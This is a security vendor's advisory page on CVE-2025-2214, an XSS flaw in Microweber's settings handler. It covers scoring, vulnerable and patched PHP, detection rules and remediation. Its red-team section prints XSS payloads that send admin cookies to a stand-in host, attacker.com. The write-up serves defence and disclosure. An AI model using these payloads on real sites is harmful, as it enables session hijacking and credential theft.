CVE-2025-2214
Executive Summary
CVE-2025-2214 is a stored cross-site scripting (XSS) vulnerability in Microweber 2.0.19, specifically within the Settings Handler component. The flaw resides in the file userfiles/modules/settings/group/website_group/index.php, where the group parameter is insufficiently sanitized, allowing an attacker to inject arbitrary JavaScript or HTML. This attack can be executed remotely without authentication, though user interaction (e.g., an admin viewing the settings page) is required for payload execution. The vendor was contacted but did not respond, leaving the vulnerability unpatched. Given the public availability of exploit details, this poses a moderate risk to Microweber deployments, especially those with exposed admin interfaces.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Microweber is a PHP-based CMS distributed via GitHub and its own package system. No official patch or advisory has been released. Users relying on the default installation are at risk. The vulnerability does not affect upstream PHP or web server packages but is specific to the Microweber application code.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to inject payload.
- User Interaction (UI): Required (R) – Victim must visit the affected settings page.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) – Limited data exposure via XSS.
- Integrity (I): Low (L) – Possible to modify content within the user’s session.
- Availability (A): None (N) – No direct impact on availability.
CVSS Score: 6.1 (Medium)
Threat Level: Moderate – Exploit code is public, but user interaction is required.
Deep Dive & Mechanics
The vulnerability exists in the userfiles/modules/settings/group/website_group/index.php file, which handles the group GET parameter. The parameter is directly reflected or stored without proper sanitization or output encoding. An attacker can craft a URL like:
http://target.com/userfiles/modules/settings/group/website_group/index.php?group=<script>alert('XSS')</script>
When an administrator accesses this URL, the injected script executes in the context of the admin’s session. This can lead to session hijacking, defacement, or redirection to malicious sites. The attack is stored if the input is persisted (e.g., in a database or configuration file), making it a stored XSS. The lack of input validation and output escaping in the PHP code is the root cause.
Vulnerable vs. Patched Code
Vulnerable Code (index.php):
<?php
$group = $_GET['group'];
echo "<div class='settings-group'>$group</div>";
?>
Patched Code (hypothetical):
<?php
$group = htmlspecialchars($_GET['group'], ENT_QUOTES, 'UTF-8');
echo "<div class='settings-group'>$group</div>";
?>
The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection. Since no official patch exists, users must apply this fix manually.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A Microweber 2.0.19 instance (e.g., Docker or local install).
- Access to the admin panel URL (e.g.,
http://target/admin).
Exploit Steps:
- Craft a malicious URL:
http://target.com/userfiles/modules/settings/group/website_group/index.php?group=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Send the link to an authenticated admin via phishing or social engineering.
- When the admin visits the link, the script executes, exfiltrating cookies to the attacker’s server.
Example Payload:
<script>new Image().src='http://attacker.com/log?c='+document.cookie;</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/userfiles/modules/settings/group/website_group/index.phpwith suspiciousgroupparameters containing<script>oronerrortags. - Use WAF rules to block XSS patterns in query strings.
Mitigation:
- Apply the patched code manually (see above).
- Restrict access to the admin panel via IP whitelisting or VPN.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- URL Pattern:
*/userfiles/modules/settings/group/website_group/index.php?group=* - Log Entries: Requests containing
group=<script>orgroup=javascript:in the query string. - Network Traffic: Outbound connections to attacker-controlled domains from the admin browser.
- File Changes: Unauthorized modifications to
userfiles/modules/settings/group/website_group/index.phpor related configuration files.
Detection Engineering
YARA Rule
rule CVE_2025_2214_XSS_Microweber {
meta:
description = "Detects XSS attempts targeting Microweber CVE-2025-2214"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-2214"
strings:
$xss_payload = /group=.*<script/i
$xss_onerror = /group=.*onerror/i
$xss_alert = /group=.*alert\(/i
condition:
any of them
}
Sigma Rule
title: Microweber CVE-2025-2214 XSS Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts against Microweber settings handler
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/userfiles/modules/settings/group/website_group/index.php'
cs-uri-query|contains|all:
- 'group='
- '<script'
condition: selection
falsepositives:
- Legitimate use of script tags in group names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-2214 Microweber XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/userfiles/modules/settings/group/website_group/index.php"; http_uri; content:"group="; http_uri; pcre:"/group=.*<script/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Fix: Manually patch the vulnerable file by adding
htmlspecialchars()to the$groupvariable as shown in the patched code section. - Workaround: Disable the settings module or restrict access to the admin panel using
.htaccess:<Files "index.php"> Require ip 192.168.1.0/24 </Files> - Long-term: Monitor Microweber’s GitHub for an official patch. Consider migrating to a supported CMS if no patch is released.
- Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
Valters IT
Securing Digital Frontiers